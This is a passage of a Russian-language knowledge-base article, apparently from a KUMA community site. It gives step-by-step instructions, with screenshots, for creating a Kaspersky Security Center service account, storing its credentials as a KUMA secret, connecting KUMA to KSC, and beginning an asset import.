<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Выберите созданную учетную запись пользователя и нажмите **Назначить роль**.</span>

<span style="mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/EdQimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/EdQimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В появившемся окне **Назначение ролей** нажмите справа на **Фильтр** и укажите название ранее созданной роли.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Выберите созданную роль и нажмите **Далее**.</span>

<span style="mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Fp4image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/Fp4image.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В следующем окне укажите область применения роли. Выберите **«Сервер администрирования»**</span><span lang="EN-US" style="mso-fareast-language: RU;">.</span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/aFOimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/aFOimage.png)

<span style="mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">7.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **Готово**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">8.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Повторите процедуру и выберите в качестве области применения роли также **Управляемые устройства**.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/kSximage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/kSximage.png)

**<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>**

**<span style="mso-ansi-language: RU; mso-fareast-language: RU; mso-no-proof: yes;"> </span>**

<table border="0" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-%D0%95%D1%81%D0%BB%D0%B8-%D0%B2-ksc-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5" style="margin-left: 36pt; border-collapse: collapse; width: 92.7381%;"><tbody><tr style="mso-yfti-irow: -1; mso-yfti-firstrow: yes; mso-yfti-lastfirstrow: yes; mso-yfti-lastrow: yes;"><td style="width: 100%; border: 1.5pt solid rgb(0, 168, 142); padding: 0cm 5.4pt;" valign="top" width="680"><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Если в KSC используется MFA необходимо настроить исключение для учетной записи KUMA согласно этой инструкции:</span>

**<span lang="EN-US" style="color: #00a88e;">[<span lang="RU" style="mso-ansi-language: RU; mso-fareast-language: RU; font-weight: normal;">https://support.kaspersky.com/help/KSC/15.1/ru-RU/211462.htm</span>](https://support.kaspersky.com/help/KSC/15.1/ru-RU/211462.htm)</span>**

</td></tr></tbody></table>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

<span style="color: rgb(22, 145, 121);">**<span style="mso-fareast-language: RU;">Консоль администрирования </span><span lang="EN-US" style="mso-ansi-language: EN-US; mso-fareast-language: RU;">Kaspersky</span><span lang="EN-US" style="mso-fareast-language: RU;"> </span><span lang="EN-US" style="mso-ansi-language: EN-US; mso-fareast-language: RU;">Security</span><span lang="EN-US" style="mso-fareast-language: RU;"> </span><span lang="EN-US" style="mso-ansi-language: EN-US; mso-fareast-language: RU;">Center</span>**</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В дереве консоли Kaspersky Security Center выберите узел с именем Сервера администрирования.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В рабочей области выбранного Сервера администрирования перейдите нажмите **Свойства Сервера**.</span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/3fgimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/3fgimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Перейдите в раздел **Безопасность**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Создайте учетную запись внутреннего пользователя, нажав **Внутренний пользователь** и далее **Добавить пользователя**.</span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/TYyimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/TYyimage.png)

<span style="mso-ansi-language: RU; mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> 5</span><span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В появившемся окне **Новый пользователь** укажите параметры нового пользователя:</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU; mso-fareast-language: RU;">Имя</span>**

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU; mso-fareast-language: RU;">Пароль</span>**

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/PVGimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/PVGimage.png)

<span style="mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **ОК** для завершения создания учетной записи пользователя.</span>

**<span style="mso-fareast-language: RU;">Учетная запись пользователей добавлена в список пользователей.</span>**

<span style="mso-fareast-language: RU;"> </span><span style="mso-fareast-language: RU;">Далее назначьте соответствующие права новой учетной записи пользователя в </span><span lang="EN-US" style="mso-ansi-language: EN-US; mso-fareast-language: RU;">KSC</span><span style="mso-fareast-language: RU;">:</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Перейдите в раздел **Безопасность.**</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **Внутренний пользователь** и в появившемся окне **Выбор пользователя** в поле **Поиск** укажите созданную учетную запись пользователя.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Выберите созданную учетную запись пользователя и нажмите **ОК**.</span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/qJrimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/qJrimage.png)

<span style="mso-ansi-language: RU; mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span><span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Выберите учетную запись в списке и в секции **Разрешения для &lt;имя учетной записи&gt;** на вкладке **Права** назначьте права согласно скриншоту ниже (в данном примере права предоставляются к приложению </span><span lang="EN-US" style="mso-fareast-language: RU;">Kaspersky Endpoint Security </span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">для </span><span lang="EN-US" style="mso-fareast-language: RU;">Windows </span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">12.8.0).</span>

<span style="mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/OsMimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/OsMimage.png)

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/aJRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/aJRimage.png)

<span style="mso-ansi-language: RU; mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span><span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **Применить** и далее **ОК**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Убедитесь, что в Группах устройств </span><span lang="EN-US" style="mso-fareast-language: RU;">KSC</span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">, активы из которых необходимо импортировать включен параметр **Наследовать параметры Сервера администрирования или родительской группы,** или добавлена ранее созданная учетная запись с правами, как на скриншоте выше.</span>

<span style="mso-fareast-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/FF0image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/FF0image.png)

<span style="mso-fareast-language: RU; mso-no-proof: yes;"> </span>

<span style="mso-fareast-language: RU;"> </span>

<table border="0" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-%D0%95%D1%81%D0%BB%D0%B8-%D0%B2-ksc-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5-1" style="margin-left: 13.45pt; border-collapse: collapse; width: 98.5714%;"><tbody><tr style="mso-yfti-irow: -1; mso-yfti-firstrow: yes; mso-yfti-lastfirstrow: yes; mso-yfti-lastrow: yes;"><td style="width: 100%; border: 1.5pt solid rgb(0, 168, 142); padding: 0cm 5.4pt;" valign="top" width="660"><span style="color: #00a88e;">Если в KSC используется MFA необходимо настроить исключение для учетной записи KUMA согласно этой инструкции:</span>

<span style="color: #00a88e; mso-ansi-language: RU; mso-fareast-language: RU;">https://support.kaspersky.com/help/KSC/15.1/ru-RU/211812.htm</span>

</td></tr></tbody></table>

**<span style="mso-fareast-language: RU;"> </span>**

<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>

#### <span style="color: rgb(22, 145, 121);">**Создание секрета в KUMA**</span>

После создания учетной записи в <span lang="EN-US" style="mso-ansi-language: EN-US;">KSC</span> требуется добавить секрет в веб-интерфейсе <span lang="EN-US" style="mso-ansi-language: EN-US;">KUMA</span>. Этот ресурс будет хранить учетные данные для подключения к <span lang="EN-US" style="mso-ansi-language: EN-US;">KSC</span>. Чтобы создать секрет в <span lang="EN-US" style="mso-ansi-language: EN-US;">KUMA</span> выполните следующие действия:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Откройте раздел веб-интерфейса </span><span lang="EN-US">KUMA</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span>**<span style="mso-ansi-language: RU;">Ресурсы</span>**<span style="mso-ansi-language: RU;"> → **Секреты**. Отобразится список доступных секретов.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите на кнопку **Добавить**, чтобы создать новый секрет. </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Создание секрета** введите данные секрета:</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В поле **Название** укажите имя для добавляемого секрета.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке **Тенант** выберите тенант, которому будет принадлежать создаваемый ресурс.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке **Тип** выберите </span>**<span lang="EN-US">credentials</span>**<span style="mso-ansi-language: RU;">.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В поле **Пользователь** укажите имя созданной учетной записи в </span><span lang="EN-US">KSC</span><span style="mso-ansi-language: RU;"> (для доменной учетной записи используйте формат: **пользователь@домен**).</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В поле **Пароль** укажите пароль учетной записи.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите **Создать**.</span>

<span style="mso-ansi-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/9fgimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/9fgimage.png)

<span style="mso-no-proof: yes;"> </span>

<table align="right" border="0" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-%D0%98%D0%B7-%D1%81%D0%BE%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF" style="border-collapse: collapse; margin-left: 6.75pt; margin-right: 6.75pt; height: 51.2px; width: 94.2857%;"><tbody><tr style="height: 51.2px;"><td style="width: 0%; border: 1.5pt solid rgb(237, 125, 49); padding: 0cm 5.4pt; height: 51.2px;" valign="top" width="630"><span style="color: #00a88e;">Из соображений безопасности после сохранения секрета строки, указанные в полях **Пользователь** и **Пароль**, скрываются</span>

</td></tr></tbody></table>

##### **<span style="color: rgb(22, 145, 121);">Создание подключения к Kaspersky Security Center</span>**

Чтобы создать подключение к Kaspersky Security Center:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Откройте веб-интерфейс </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> и выберите раздел **Параметры →** </span>**<span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span>**<span style="mso-ansi-language: RU;">.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Интеграция с** </span>**<span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span style="mso-ansi-language: RU;"> по тенантам </span>**<span style="mso-ansi-language: RU;">нажмите **Добавить параметры для нового тенанта.** </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Интеграция с** </span>**<span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span>**<span style="mso-ansi-language: RU;">выберите тенант, для которого вы хотите создать подключение к Kaspersky Security Center, и нажмите **Добавить подключение**.</span>

<span style="mso-no-proof: yes;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/18Eimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/18Eimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Справа в окне **Параметры подключения** укажите значения для следующих параметров:</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU;">Название</span>**<span style="mso-ansi-language: RU;"> – имя подключения. </span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span lang="EN-US">URL</span>**<span lang="EN-US"> – URL </span><span style="mso-ansi-language: RU;">сервера</span><span lang="EN-US"> Kaspersky Security Center </span><span style="mso-ansi-language: RU;">в</span> <span style="mso-ansi-language: RU;">формате</span><span lang="EN-US"> hostname:port </span><span style="mso-ansi-language: RU;">или</span><span lang="EN-US"> IPv4:port.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке **Секрет** выберите ранее созданный секрет с учетными данными Kaspersky Security Center.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/lXXimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/lXXimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите **Сохранить**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В окне **Интеграция с** </span>**<span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span>**<span style="mso-ansi-language: RU;">также нажмите **Сохранить.** Вверху справа кнопки **Добавить подключение** и **Импортировать активы** станут активны.</span>

Подключение к серверу Kaspersky Security Center создано. Его можно использовать для импорта информации об активах из Kaspersky Security Center в KUMA и для создания задач, связанных с активами, в Kaspersky Security Center прямо из веб-интерфейса KUMA.

##### <span style="color: rgb(22, 145, 121);">**Импорт<span style="mso-bookmark: _Toc225510186;"><span style="mso-ansi-language: EN-US;"> </span>активов</span><span style="mso-bookmark: _Toc225510186;"><span style="mso-ansi-language: EN-US;"> </span>из</span><span style="mso-bookmark: _Toc225510186;"><span style="mso-ansi-language: EN-US;"> <span lang="EN-US">Kaspersky Security Center</span></span></span>**</span>

**Активы** представляют собой рабочие станции, серверы, сетевое оборудование в организации. Вы можете добавить активы в <span lang="EN-US" style="mso-ansi-language: EN-US;">KUMA</span>, тогда <span lang="EN-US" style="mso-ansi-language: EN-US;">KUMA</span> будет автоматически добавлять идентификаторы активов при обогащении событий и при анализе событий Вы получите дополнительную информацию об устройствах в организации (<span lang="EN-US" style="mso-ansi-language: EN-US;">IP</span>-адрес, владелец, актива, ОС, информация о программном и аппаратном обеспечении, уязвимости и др.).

Активы в KUMA можно добавить следующими способами:

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">Импортировать активы:</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">Из отчет</span><span style="mso-ansi-language: RU;">ов сканеров уязвимостей:</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">MP8 Scanner</span><span style="mso-ansi-language: RU;">;</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">MaxPatrol VM</span><span style="mso-ansi-language: RU;">;</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">RedCheck</span><span style="mso-ansi-language: RU;">;</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">Nessus</span><span style="mso-ansi-language: RU;">;</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">OWASP ZAP</span><span style="mso-ansi-language: RU;">.</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">По расписанию: из Kaspersky Security Center и KICS for Networks.</span>

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Создать активы вручную через веб-интерфейс или с помощью </span><span lang="EN-US">API.</span>

Пользователь <span lang="EN-US" style="mso-ansi-language: EN-US;">KUMA </span>может:

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Просматривать информацию об активах.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Искать активы.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Добавлять активы, редактировать их и удалять.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Экспортировать данные об активах в </span><span lang="EN-US">CSV</span><span style="mso-ansi-language: RU;">-файл.</span>

Ниже рассмотрен процесс импорта активов из <span lang="EN-US" style="mso-ansi-language: EN-US;">Kaspersky</span> <span lang="EN-US" style="mso-ansi-language: EN-US;">Security</span> <span lang="EN-US" style="mso-ansi-language: EN-US;">Center</span>.

Чтобы выполнить импорт информации об активах из Kaspersky Security Center:

